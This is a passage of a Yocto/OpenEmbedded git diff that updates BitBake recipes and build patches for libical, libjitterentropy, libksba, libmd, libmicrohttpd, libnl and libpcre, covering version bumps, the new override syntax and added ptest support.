+EXTRA_OECMAKE += "-DPERL_EXECUTABLE=${HOSTTOOLS_DIR}/perl"
+# Disable the test suite as we can't install it
+EXTRA_OECMAKE += "-DLIBICAL_BUILD_TESTING=false"
+# doc build fails with linker error (??) for libical-glib so disable it
+EXTRA_OECMAKE += "-DICAL_BUILD_DOCS=false"
+
+# Tell the cross-libical where the tool it needs to build is
+EXTRA_OECMAKE:append:class-target = " -DIMPORT_ICAL_GLIB_SRC_GENERATOR=${STAGING_LIBDIR_NATIVE}/cmake/LibIcal/IcalGlibSrcGenerator.cmake"
+
+do_install:append () {
+ # Remove build host references (https://github.com/libical/libical/issues/532)
+ sed -i \
+ -e 's,${STAGING_LIBDIR},${libdir},g' \
+ -e 's,${STAGING_INCDIR},${includedir},g' \
+ ${D}${libdir}/cmake/LibIcal/LibIcal*.cmake \
+ ${D}${libdir}/cmake/LibIcal/Ical*.cmake
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libical/libical_3.0.8.bb b/meta/recipes-support/libical/libical_3.0.8.bb
deleted file mode 100644
index 6230f09eca..0000000000
--- a/meta/recipes-support/libical/libical_3.0.8.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "iCal and scheduling (RFC 2445, 2446, 2447) library"
-HOMEPAGE = "https://github.com/libical/libical"
-BUGTRACKER = "https://github.com/libical/libical/issues"
-LICENSE = "LGPLv2.1 | MPL-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=1910a2a76ddf6a9ba369182494170d87 \
- file://LICENSE.LGPL21.txt;md5=933adb561f159e7c3da079536f0ed871 \
- file://LICENSE.MPL2.txt;md5=f75d2927d3c1ed2414ef72048f5ad640 \
- "
-SECTION = "libs"
-
-SRC_URI = " \
- https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.gz \
- file://0001-Use-our-hand-build-native-src-generator.patch \
- file://0001-Fix-build-with-icu-68.1.patch \
-"
-SRC_URI[md5sum] = "41bd1f1fcdcb4779cea478bb55cf07bf"
-SRC_URI[sha256sum] = "09fecacaf75ba5a242159e3a9758a5446b5ce4d0ab684f98a7040864e1d1286f"
-UPSTREAM_CHECK_URI = "https://github.com/libical/libical/releases"
-
-inherit cmake pkgconfig
-
-do_compile_prepend() {
- # As long as https://github.com/libical/libical/issues/394 is open build native src-generator manually
- NATIVE_CFLAGS="${BUILD_CFLAGS} `pkg-config-native --cflags glib-2.0` `pkg-config-native --cflags libxml-2.0`"
- NATIVE_LDFLAGS="${BUILD_LDFLAGS} `pkg-config-native --libs glib-2.0` `pkg-config-native --libs libxml-2.0`"
- ${BUILD_CC} $NATIVE_CFLAGS ${S}/src/libical-glib/tools/generator.c ${S}/src/libical-glib/tools/xml-parser.c -o ${B}/src-generator $NATIVE_LDFLAGS
-}
-
-PACKAGECONFIG ??= "icu glib"
-PACKAGECONFIG[bdb] = ",-DCMAKE_DISABLE_FIND_PACKAGE_BDB=True,db"
-PACKAGECONFIG[glib] = "-DICAL_GLIB=True,-DICAL_GLIB=False,glib-2.0-native libxml2-native glib-2.0 libxml2"
-# ICU is used for RSCALE (RFC7529) support
-PACKAGECONFIG[icu] = ",-DCMAKE_DISABLE_FIND_PACKAGE_ICU=True,icu"
-
-# No need to use perl-native, the host perl is sufficient.
-EXTRA_OECMAKE += "-DPERL_EXECUTABLE=${HOSTTOOLS_DIR}/perl"
-# doc build fails with linker error (??) for libical-glib so disable it
-EXTRA_OECMAKE += "-DICAL_BUILD_DOCS=false"
-
-do_install_append () {
- # Remove build host references
- sed -i \
- -e 's,${STAGING_LIBDIR},${libdir},g' \
- -e 's,${STAGING_INCDIR},${includedir},g' \
- ${D}${libdir}/cmake/LibIcal/LibIcal*.cmake
-}
diff --git a/meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch b/meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch
deleted file mode 100644
index 57b336c0c0..0000000000
--- a/meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From ce091718716400119d6be6bd637c0e3f4f6ca315 Mon Sep 17 00:00:00 2001
-From: Joshua Watt <JPEWhacker@gmail.com>
-Date: Thu, 21 Nov 2019 08:07:41 -0600
-Subject: [PATCH] Make man pages reproducible
-
-Instructs the man page to be gzip'ed without the file name or timestamp
-so that it builds reproducibly.
-
-Upstream-Status: Backport [https://github.com/smuellerDD/jitterentropy-library/pull/14]
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index 2e78607..860b720 100644
---- a/Makefile
-+++ b/Makefile
-@@ -60,7 +60,7 @@ cppcheck:
- install:
- install -d -m 0755 $(DESTDIR)$(PREFIX)/share/man/man3
- install -m 644 doc/$(NAME).3 $(DESTDIR)$(PREFIX)/share/man/man3/
-- gzip -f -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
-+ gzip -n -f -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(LIBDIR)
- $(INSTALL_STRIP) -m 0755 lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(INCDIR)
---
-2.23.0
-
diff --git a/meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch b/meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch
deleted file mode 100644
index 9af334ce2c..0000000000
--- a/meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 060b9b4147f6e5ff386a8b017796118d783e59fa Mon Sep 17 00:00:00 2001
-From: Matt Weber <matthew.weber@rockwellcollins.com>
-Date: Tue, 22 Oct 2019 12:44:30 -0500
-Subject: [PATCH] Makefile: cleanup install for rebuilds
-
-Support the ability to rebuild and redeploy without a clean. This
-required some force linking and man archive creation.
-
-Provide the ability to override the stripping of the shared lib for
-cases where a embedded target build may want to control stripping
-or provide cross arch tools.
-
-Upstream-Status: Backport [060b9b4147f6e5ff386a8b017796118d783e59fa]
-Signed-off-by: Matthew Weber <matthew.weber@rockwellcollins.com>
-Signed-off-by: Stephan Mueller <smueller@chronox.de>
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- Makefile | 10 ++++++----
- 1 file changed, 6 insertions(+), 4 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 4ff069b..2e78607 100644
---- a/Makefile
-+++ b/Makefile
-@@ -14,6 +14,8 @@ LIBDIR := lib
- # include target directory
- INCDIR := include
-
-+INSTALL_STRIP ?= install -s
-+
- NAME := jitterentropy
- LIBMAJOR=$(shell cat jitterentropy-base.c | grep define | grep MAJVERSION | awk '{print $$3}')
- LIBMINOR=$(shell cat jitterentropy-base.c | grep define | grep MINVERSION | awk '{print $$3}')
-@@ -58,15 +60,15 @@ cppcheck:
- install:
- install -d -m 0755 $(DESTDIR)$(PREFIX)/share/man/man3
- install -m 644 doc/$(NAME).3 $(DESTDIR)$(PREFIX)/share/man/man3/
-- gzip -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
-+ gzip -f -9 $(DESTDIR)$(PREFIX)/share/man/man3/$(NAME).3
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(LIBDIR)
-- install -m 0755 -s lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
-+ $(INSTALL_STRIP) -m 0755 lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/
- install -d -m 0755 $(DESTDIR)$(PREFIX)/$(INCDIR)
- install -m 0644 jitterentropy.h $(DESTDIR)$(PREFIX)/$(INCDIR)/
- install -m 0644 jitterentropy-base-user.h $(DESTDIR)$(PREFIX)/$(INCDIR)/
- $(RM) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so.$(LIBMAJOR)
-- ln -s lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so.$(LIBMAJOR)
-- ln -s lib$(NAME).so.$(LIBMAJOR) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so
-+ ln -sf lib$(NAME).so.$(LIBVERSION) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so.$(LIBMAJOR)
-+ ln -sf lib$(NAME).so.$(LIBMAJOR) $(DESTDIR)$(PREFIX)/$(LIBDIR)/lib$(NAME).so
-
- clean:
- @- $(RM) $(NAME)
---
-2.23.0
-
diff --git a/meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb b/meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb
deleted file mode 100644
index 710ef0172d..0000000000
--- a/meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Hardware RNG based on CPU timing jitter"
-DESCRIPTION = "The Jitter RNG provides a noise source using the CPU execution timing jitter. \
-It does not depend on any system resource other than a high-resolution time \
-stamp. It is a small-scale, yet fast entropy source that is viable in almost \
-all environments and on a lot of CPU architectures."
-HOMEPAGE = "http://www.chronox.de/jent.html"
-LICENSE = "GPLv2+ | BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a95aadbdfae7ed812bb2b7b86eb5981c \
- file://COPYING.gplv2;md5=eb723b61539feef013de476e68b5c50a \
- file://COPYING.bsd;md5=66a5cedaf62c4b2637025f049f9b826f \
- "
-SRC_URI = "git://github.com/smuellerDD/jitterentropy-library.git \
- file://0001-Makefile-cleanup-install-for-rebuilds.patch \
- file://0001-Make-man-pages-reproducible.patch"
-SRCREV = "933a44f33ed3d6612f7cfaa7ad1207c8da4886ba"
-S = "${WORKDIR}/git"
-
-do_configure[noexec] = "1"
-
-LDFLAGS += "-Wl,-O0"
-
-do_install () {
- oe_runmake install INCDIR="/include" \
- DESTDIR="${D}" \
- PREFIX="${exec_prefix}" \
- LIBDIR="${baselib}" \
- INSTALL_STRIP="install"
-}
-
diff --git a/meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb b/meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb
new file mode 100644
index 0000000000..5331cf2685
--- /dev/null
+++ b/meta/recipes-support/libjitterentropy/libjitterentropy_3.3.1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Hardware RNG based on CPU timing jitter"
+DESCRIPTION = "The Jitter RNG provides a noise source using the CPU execution timing jitter. \
+It does not depend on any system resource other than a high-resolution time \
+stamp. It is a small-scale, yet fast entropy source that is viable in almost \
+all environments and on a lot of CPU architectures."
+HOMEPAGE = "http://www.chronox.de/jent.html"
+LICENSE = "GPLv2+ | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1c94a9d191202a5552f381a023551396 \
+ file://LICENSE.gplv2;md5=eb723b61539feef013de476e68b5c50a \
+ file://LICENSE.bsd;md5=66a5cedaf62c4b2637025f049f9b826f \
+ "
+SRC_URI = "git://github.com/smuellerDD/jitterentropy-library.git;branch=master;protocol=https"
+SRCREV = "887c9871ea110e397812ff7f3b28a6269f0a2ffc"
+S = "${WORKDIR}/git"
+
+# remove at next version upgrade or when output changes
+HASHEQUIV_HASH_VERSION .= ".2"
+
+do_configure[noexec] = "1"
+
+LDFLAGS += "-Wl,-O0"
+
+do_install () {
+ oe_runmake install INCDIR="/include" \
+ DESTDIR="${D}" \
+ PREFIX="${exec_prefix}" \
+ LIBDIR="${baselib}" \
+ INSTALL_STRIP="install"
+}
+
diff --git a/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch b/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
index ebb7fa588a..af96bd57cd 100644
--- a/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
+++ b/meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch
@@ -1,4 +1,4 @@
-From 7bd2b060e9ea3e2ff11e67d1e98ab882819b28b7 Mon Sep 17 00:00:00 2001
+From 6081640895b6d566fa21123e2de7d111eeab5c4c Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 3 Dec 2012 18:17:31 +0800
Subject: [PATCH] libksba: add pkgconfig support
@@ -11,11 +11,15 @@ They think pkgconfig adds no portability and maintaining them is not worthwhile.
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/ksba.m4 | 90 +++--------------------------------------------------
+ 1 file changed, 4 insertions(+), 86 deletions(-)
+
diff --git a/src/ksba.m4 b/src/ksba.m4
-index ad8de4f..af903ad 100644
+index 6b55bb8..6e7336f 100644
--- a/src/ksba.m4
+++ b/src/ksba.m4
-@@ -22,37 +22,6 @@ dnl with a changed API.
+@@ -23,37 +23,6 @@ dnl with a changed API.
dnl
AC_DEFUN([AM_PATH_KSBA],
[ AC_REQUIRE([AC_CANONICAL_HOST])
@@ -23,7 +27,7 @@ index ad8de4f..af903ad 100644
- dnl since that is consistent with how our three siblings use the directory/
- dnl package name in --with-$dir_name-prefix=PFX.
- AC_ARG_WITH(libksba-prefix,
-- AC_HELP_STRING([--with-libksba-prefix=PFX],
+- AS_HELP_STRING([--with-libksba-prefix=PFX],
- [prefix where KSBA is installed (optional)]),
- ksba_config_prefix="$withval", ksba_config_prefix="")
-
@@ -53,7 +57,7 @@ index ad8de4f..af903ad 100644
tmp=ifelse([$1], ,1:1.0.0,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
-@@ -63,56 +32,13 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -64,56 +33,13 @@ AC_DEFUN([AM_PATH_KSBA],
min_ksba_version="$tmp"
fi
@@ -113,7 +117,7 @@ index ad8de4f..af903ad 100644
if test "$tmp" -gt 0 ; then
AC_MSG_CHECKING([KSBA API version])
if test "$req_ksba_api" -eq "$tmp" ; then
-@@ -125,14 +51,8 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -126,14 +52,8 @@ AC_DEFUN([AM_PATH_KSBA],
fi
fi
if test $ok = yes; then
@@ -129,7 +133,7 @@ index ad8de4f..af903ad 100644
if test x"$libksba_config_host" != xnone ; then
if test x"$libksba_config_host" != x"$host" ; then
AC_MSG_WARN([[
-@@ -146,8 +66,6 @@ AC_DEFUN([AM_PATH_KSBA],
+@@ -147,8 +67,6 @@ AC_DEFUN([AM_PATH_KSBA],
fi
fi
else
diff --git a/meta/recipes-support/libksba/libksba_1.4.0.bb b/meta/recipes-support/libksba/libksba_1.4.0.bb
deleted file mode 100644
index a9daf22d77..0000000000
--- a/meta/recipes-support/libksba/libksba_1.4.0.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Easy API to create and parse X.509 and CMS related objects"
-HOMEPAGE = "http://www.gnupg.org/related_software/libksba/"
-LICENSE = "GPLv3+ & (GPLv2+ | LGPLv3+)"
-LICENSE_${PN} = "GPLv2+ | LGPLv3+"
-LICENSE_${PN}-doc = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fd541d83f75d038c4e0617b672ed8bda \
- file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
- file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
- "
-
-DEPENDS = "libgpg-error"
-
-BINCONFIG = "${bindir}/ksba-config"
-
-inherit autotools binconfig-disabled pkgconfig texinfo
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://ksba-add-pkgconfig-support.patch"
-
-SRC_URI[sha256sum] = "bfe6a8e91ff0f54d8a329514db406667000cb207238eded49b599761bfca41b6"
-
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libksba/libksba_1.6.0.bb b/meta/recipes-support/libksba/libksba_1.6.0.bb
new file mode 100644
index 0000000000..1374394610
--- /dev/null
+++ b/meta/recipes-support/libksba/libksba_1.6.0.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Easy API to create and parse X.509 and CMS related objects"
+DESCRIPTION = "A library to make the tasks of working with X.509 certificates, \
+CMS data and related objects more easy. It provides a highlevel interface to \
+the implemented protocols and presents the data in a consistent way. The \
+library does not rely on another cryptographic library but provides \
+hooks for easy integration with Libgcrypt. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libksba/"
+LICENSE = "GPLv3+ & (GPLv2+ | LGPLv3+)"
+LICENSE:${PN} = "GPLv2+ | LGPLv3+"
+LICENSE:${PN}-doc = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fd541d83f75d038c4e0617b672ed8bda \
+ file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
+ file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
+ "
+
+DEPENDS = "libgpg-error"
+
+BINCONFIG = "${bindir}/ksba-config"
+
+inherit autotools binconfig-disabled pkgconfig texinfo
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://ksba-add-pkgconfig-support.patch"
+
+SRC_URI[sha256sum] = "dad683e6f2d915d880aa4bed5cea9a115690b8935b78a1bbe01669189307a48b"
+
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmd/libmd_1.0.4.bb b/meta/recipes-support/libmd/libmd_1.0.4.bb
new file mode 100644
index 0000000000..b93dc2d78d
--- /dev/null
+++ b/meta/recipes-support/libmd/libmd_1.0.4.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Message Digest functions from BSD systems"
+DESCRIPTION = "This library provides message digest functions \
+found on BSD systems either on their libc (NetBSD, OpenBSD) or \
+libmd (FreeBSD, DragonflyBSD, macOS, Solaris) libraries and \
+lacking on others like GNU systems."
+HOMEPAGE = "https://www.hadrons.org/software/libmd/"
+
+LICENSE = "BSD-3-Clause & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0436d4fb62a71f661d6e8b7812f9e1df"
+
+SRC_URI = "https://archive.hadrons.org/software/libmd/libmd-${PV}.tar.xz"
+SRC_URI[sha256sum] = "f51c921042e34beddeded4b75557656559cf5b1f2448033b4c1eec11c07e530f"
+
+inherit autotools
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.73.bb b/meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.73.bb
new file mode 100644
index 0000000000..0b5901bc74
--- /dev/null
+++ b/meta/recipes-support/libmicrohttpd/libmicrohttpd_0.9.73.bb
@@ -0,0 +1,31 @@
+DESCRIPTION = "A small C library that is supposed to make it easy to run an HTTP server as part of another application"
+HOMEPAGE = "http://www.gnu.org/software/libmicrohttpd/"
+LICENSE = "LGPL-2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=57d09285feac8a64efa878e692b14f36"
+SECTION = "net"
+
+DEPENDS = "file"
+
+SRC_URI = "${GNU_MIRROR}/libmicrohttpd/${BPN}-${PV}.tar.gz"
+SRC_URI[md5sum] = "2b15949b1633e4fa487e08cdcc97f0e3"
+SRC_URI[sha256sum] = "a37b2f1b88fd1bfe74109586be463a434d34e773530fc2a74364cfcf734c032e"
+
+inherit autotools lib_package pkgconfig gettext
+
+CFLAGS += "-pthread -D_REENTRANT"
+
+EXTRA_OECONF += "--disable-static --with-gnutls=${STAGING_LIBDIR}/../"
+
+PACKAGECONFIG ?= "curl https"
+PACKAGECONFIG:append:class-target = "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'largefile', d)} \
+"
+PACKAGECONFIG[largefile] = "--enable-largefile,--disable-largefile,,"
+PACKAGECONFIG[curl] = "--enable-curl,--disable-curl,curl,"
+PACKAGECONFIG[https] = "--enable-https,--disable-https,libgcrypt gnutls,"
+
+do_compile:append() {
+ sed -i s:-L${STAGING_LIBDIR}::g libmicrohttpd.pc
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libnl/files/enable-serial-tests.patch b/meta/recipes-support/libnl/files/enable-serial-tests.patch
new file mode 100644
index 0000000000..db774ad821
--- /dev/null
+++ b/meta/recipes-support/libnl/files/enable-serial-tests.patch
@@ -0,0 +1,29 @@
+From b1476d89bf7a0bc6062438731ee4e9026696328b Mon Sep 17 00:00:00 2001
+From: Eric Xu <chi.xu@windriver.com>
+Date: Fri, 9 Mar 2018 03:38:49 +0000
+Subject: [PATCH] Add ptest for libnl
+
+serial-tests is required to generate those targets.
+
+Upstream-Status: Inappropriate [oe-specific]
+Signed-off-by: Eric Xu <chi.xu@windriver.com>
+---
+ configure.ac | 2 +-
+ 1 files changed, 1 insertion(+), 1 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index dfead98..2cc8257 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -46,7 +46,7 @@ AC_INIT(libnl, [libnl_version], [], [], [http://www.infradead.org/~tgr/libnl/])
+ AC_CONFIG_HEADERS([lib/defs.h])
+ AC_CONFIG_AUX_DIR([build-aux])
+ AC_CONFIG_MACRO_DIR([m4])
+-AM_INIT_AUTOMAKE([-Wall foreign subdir-objects])
++AM_INIT_AUTOMAKE([-Wall foreign subdir-objects serial-tests])
+ m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES(yes)], [])
+ m4_ifdef([AM_PROG_AR], [AM_PROG_AR])
+
+--
+2.13.3
+
diff --git a/meta/recipes-support/libnl/files/run-ptest b/meta/recipes-support/libnl/files/run-ptest
new file mode 100755
index 0000000000..e5c9eb0a32
--- /dev/null
+++ b/meta/recipes-support/libnl/files/run-ptest
@@ -0,0 +1,16 @@
+#!/bin/sh
+
+num_fail=0
+
+for test in check*
+do
+ ./"$test" \
+ && echo "PASS: $test" \
+ || {
+ echo "FAIL: $test"
+ num_fail=$(( ${num_fail} + 1))
+ }
+
+done
+
+exit $num_fail
diff --git a/meta/recipes-support/libnl/libnl_3.5.0.bb b/meta/recipes-support/libnl/libnl_3.5.0.bb
index 9d0e1441a9..7480202f13 100644
--- a/meta/recipes-support/libnl/libnl_3.5.0.bb
+++ b/meta/recipes-support/libnl/libnl_3.5.0.bb
@@ -1,4 +1,9 @@
SUMMARY = "A library for applications dealing with netlink sockets"
+DESCRIPTION = "The libnl suite is a collection of libraries providing \
+APIs to netlink protocol based Linux kernel interfaces. libnl is the core \
+library implementing the fundamentals required to use the netlink protocol \
+such as socket handling, message construction and parsing, and sending \
+and receiving of data."
HOMEPAGE = "http://www.infradead.org/~tgr/libnl/"
SECTION = "libs/network"
@@ -9,36 +14,62 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
DEPENDS = "flex-native bison-native"
-SRC_URI = "https://github.com/thom311/${BPN}/releases/download/${BPN}${@d.getVar('PV').replace('.','_')}/${BP}.tar.gz"
+SRC_URI = " \
+ https://github.com/thom311/${BPN}/releases/download/${BPN}${@d.getVar('PV').replace('.','_')}/${BP}.tar.gz \
+ file://enable-serial-tests.patch \
+ file://run-ptest \
+ "
+
SRC_URI[md5sum] = "74ba57b1b1d6f9f92268aa8141d8e8e4"
SRC_URI[sha256sum] = "352133ec9545da76f77e70ccb48c9d7e5324d67f6474744647a7ed382b5e05fa"
+
UPSTREAM_CHECK_URI = "https://github.com/thom311/${BPN}/releases"
-inherit autotools pkgconfig
+inherit autotools pkgconfig ptest
-FILES_${PN} = "${libdir}/libnl-3.so.* \
+FILES:${PN} = "${libdir}/libnl-3.so.* \
${libdir}/libnl.so.* \
${sysconfdir}"
-RREPLACES_${PN} = "libnl2"
-RCONFLICTS_${PN} = "libnl2"
-FILES_${PN}-dev += "${libdir}/libnl/cli/*/*.la"
-FILES_${PN}-staticdev += "${libdir}/libnl/cli/*/*.a"
+RREPLACES:${PN} = "libnl2"
+RCONFLICTS:${PN} = "libnl2"
+
+FILES:${PN}-dev += "${libdir}/libnl/cli/*/*.la"
+FILES:${PN}-staticdev += "${libdir}/libnl/cli/*/*.a"
PACKAGES += "${PN}-cli ${PN}-genl ${PN}-idiag ${PN}-nf ${PN}-route ${PN}-xfrm"
-FILES_${PN}-cli = "${libdir}/libnl-cli-3.so.* \
+FILES:${PN}-cli = "${libdir}/libnl-cli-3.so.* \
${libdir}/libnl/cli/*/*.so \
${bindir}/genl-ctrl-list \
${bindir}/idiag-socket-details \
${bindir}/nf-* \
${bindir}/nl-*"
-FILES_${PN}-genl = "${libdir}/libnl-genl-3.so.* \
+FILES:${PN}-genl = "${libdir}/libnl-genl-3.so.* \
${libdir}/libnl-genl.so.*"
-FILES_${PN}-idiag = "${libdir}/libnl-idiag-3.so.*"
-FILES_${PN}-nf = "${libdir}/libnl-nf-3.so.*"
-FILES_${PN}-route = "${libdir}/libnl-route-3.so.*"
-FILES_${PN}-xfrm = "${libdir}/libnl-xfrm-3.so.*"
-RREPLACES_${PN}-genl = "libnl-genl2"
-RCONFLICTS_${PN}-genl = "libnl-genl2"
+FILES:${PN}-idiag = "${libdir}/libnl-idiag-3.so.*"
+FILES:${PN}-nf = "${libdir}/libnl-nf-3.so.*"
+FILES:${PN}-route = "${libdir}/libnl-route-3.so.*"
+FILES:${PN}-xfrm = "${libdir}/libnl-xfrm-3.so.*"
+RREPLACES:${PN}-genl = "libnl-genl2"
+RCONFLICTS:${PN}-genl = "libnl-genl2"
+
+RDEPENDS:${PN}-ptest += "libcheck"
+DEPENDS += "${@bb.utils.contains('PTEST_ENABLED', '1', 'libcheck', '', d)}"
+
+# make sure the tests don't link against wrong so file
+EXTRA_OECONF += "${@bb.utils.contains('PTEST_ENABLED', '1', '--disable-rpath', '', d)}"
+
+do_compile_ptest() {
+ # hack to remove the call to `make runtest-TESTS`
+ sed -i 's/$(MAKE) $(AM_MAKEFLAGS) runtest-TESTS//g' Makefile
+ oe_runmake check
+}
+
+do_install_ptest(){
+ # legacy? tests are also installed, but ptest-runner will not run them
+ # upstream are not running these tests in their CI pipeline
+ # issue opened https://github.com/thom311/libnl/issues/270
+ install -m 0755 tests/.libs/* ${D}${PTEST_PATH}/
+}
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch b/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch
deleted file mode 100644
index 89b44f6aa6..0000000000
--- a/meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-Upstream-Status: Inappropriate [debian patch]
-
-This patch address a namespace collision with libc.
-
-Although there is no "#include <regex.h>" in the source file, at
-runtime, it's unintentionally linked to the libc version, the regcomp of
-libc is called instead the pcre one using pcre's data structure...
-that looks like a disaster.
-
-Can patch is from Debian (and Ubuntu 11.04alpha has it also).
-
-[sgw: added patch comment]
-Signed-off-by: Qing He <qing.he@intel.com>
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
---- a/pcreposix.h 2010-05-17 00:17:23.000000000 +0800
-+++ b/pcreposix.h 2009-01-15 04:32:17.000000000 +0800
-@@ -133,14 +130,19 @@
-
- /* The functions */
-
--PCREPOSIX_EXP_DECL int regcomp(regex_t *, const char *, int);
--PCREPOSIX_EXP_DECL int regexec(const regex_t *, const char *, size_t,
-+PCREPOSIX_EXP_DECL int pcreposix_regcomp(regex_t *, const char *, int);
-+PCREPOSIX_EXP_DECL int pcreposix_regexec(const regex_t *, const char *, size_t,
- regmatch_t *, int);
--PCREPOSIX_EXP_DECL size_t regerror(int, const regex_t *, char *, size_t);
--PCREPOSIX_EXP_DECL void regfree(regex_t *);
-+PCREPOSIX_EXP_DECL size_t pcreposix_regerror(int, const regex_t *, char *, size_t);
-+PCREPOSIX_EXP_DECL void pcreposix_regfree(regex_t *);
-
- #ifdef __cplusplus
- } /* extern "C" */
- #endif
-
-+#define regcomp pcreposix_regcomp
-+#define regexec pcreposix_regexec
-+#define regerror pcreposix_regerror
-+#define regfree pcreposix_regfree
-+
- #endif /* End of pcreposix.h */
diff --git a/meta/recipes-support/libpcre/libpcre2_10.35.bb b/meta/recipes-support/libpcre/libpcre2_10.35.bb
deleted file mode 100644
index 35c019c100..0000000000
--- a/meta/recipes-support/libpcre/libpcre2_10.35.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-DESCRIPTION = "There are two major versions of the PCRE library. The \
-newest version is PCRE2, which is a re-working of the original PCRE \
-library to provide an entirely new API. The original, very widely \
-deployed PCRE library's API and feature are stable, future releases \
- will be for bugfixes only. All new future features will be to PCRE2, \
-not the original PCRE 8.x series."
-SUMMARY = "Perl Compatible Regular Expressions version 2"
-HOMEPAGE = "http://www.pcre.org"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=a06590e9bd4c229532364727aaeaf084"
-
-SRC_URI = "https://ftp.pcre.org/pub/pcre/pcre2-${PV}.tar.bz2"
-
